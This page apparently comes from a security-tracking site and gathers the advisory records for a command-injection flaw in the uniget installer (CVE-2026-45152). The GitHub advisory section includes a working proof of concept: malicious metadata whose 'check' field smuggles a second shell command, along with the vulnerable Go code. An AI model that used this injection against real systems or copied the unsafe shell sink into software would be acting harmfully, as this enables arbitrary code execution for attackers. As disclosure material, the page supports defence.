Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 12:32 UTC Customize Public modeDiscuss ChangeIntel on Discord

uniget: Command Injection in tool.Check Leading to Arbitrary Code Execution

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-45152

Published

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

Source published
27 May 2026 21:05:00 UTC
Source modified
28 May 2026 12:40:02 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

euvd · EUVD-2026-32670

Published

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 27, 2026, 9:05:00 PM

dateUpdated: May 28, 2026, 12:40:02 PM

Source published
May 27, 2026, 9:05:00 PM (timezone not stated)
Source modified
May 28, 2026, 12:40:02 PM (timezone not stated)
Observed here
28 Oct 2026 06:10:48 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

nvd · CVE-2026-45152

Published

uniget is a universal installer and updater for (container) tools. Prior to 0.27.1, a command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. This vulnerability is fixed in 0.27.1.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-78

Original publisher date fields

published: 2026-05-27T22:16:36.963

lastModified: 2026-10-26T12:10:00.130

Source published
27 May 2026 22:16:36 UTC
Source modified
26 Oct 2026 12:10:00 UTC
Observed here
27 Oct 2026 11:12:23 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

osv · GHSA-qqq4-5773-pmw5

Published

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. ### Summary A command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed. This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget. ### Details The vulnerable code is located in: `tool.go:250` Vulnerable function: ```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil } ``` The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation. Related structure: ```go id="7f4yzm" type Tool struct { Check string } ``` Metadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink. Because `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection. ### PoC Step 1 — Verify the vulnerable binary: ```bash id="7k3d07" /tmp/uniget-bin --version ``` Output: ```text id="p2gk9z" uniget version main ``` Step 2 — Create malicious metadata cache: ```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF ``` Step 3 — Create placeholder binary: ```bash id="53ml7u" mkdir -p ~/.local/usr/local/bin cat > ~/.local/usr/local/bin/evil-tool << 'EOF' #!/bin/bash echo "placeholder" EOF chmod +x ~/.local/usr/local/bin/evil-tool ``` Step 4 — Trigger the vulnerable workflow: ```bash id="w4j7h4" /tmp/uniget-bin describe evil-tool --prefix ~/.local ``` Application output: ```text id="q0k54m" Name: evil-tool Description: RCE test Repository: https://example.com Version: 1.0.0 Check: <echo '1.0.0'; id > /tmp/rce-proof.txt> ``` Step 5 — Verify arbitrary command execution: ```bash id="w7r8z3" ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt ``` Actual output: ```bash id="6plm7v" -rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker) ``` <img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" /> <img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" /> This confirms arbitrary command execution through the untrusted `check` field loaded from metadata. ### Impact This issue allows arbitrary command execution on systems running uniget when processing malicious metadata. An attacker may be able to: * Execute arbitrary shell commands * Exfiltrate sensitive files or environment variables * Install malware or backdoors * Modify or delete accessible files * Establish persistence on the victim machine * Compromise CI/CD environments using uniget automation Any user importing or processing attacker-controlled metadata may be impacted. ### Suggested Remediation Avoid using `/bin/bash -c` with untrusted input. Instead of: ```go id="ntxjlwm" exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` consider executing fixed binaries and arguments directly without invoking a shell. For example: ```go id="ngbkk2" exec.Command(binary, "--version") ``` or sanitize and strictly validate allowed commands before execution. Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

Source published
13 May 2026 15:33:10 UTC
Source modified
8 Jul 2026 08:14:40 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

osv · GO-2026-5590

Published

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution in gitlab.com/uniget-org/cli

Source published
25 Jun 2026 22:34:34 UTC
Source modified
25 Jun 2026 23:01:34 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 28 Oct 12:32 UTC · 272 of 272 readable · 268 fully read · documentation 469/469 current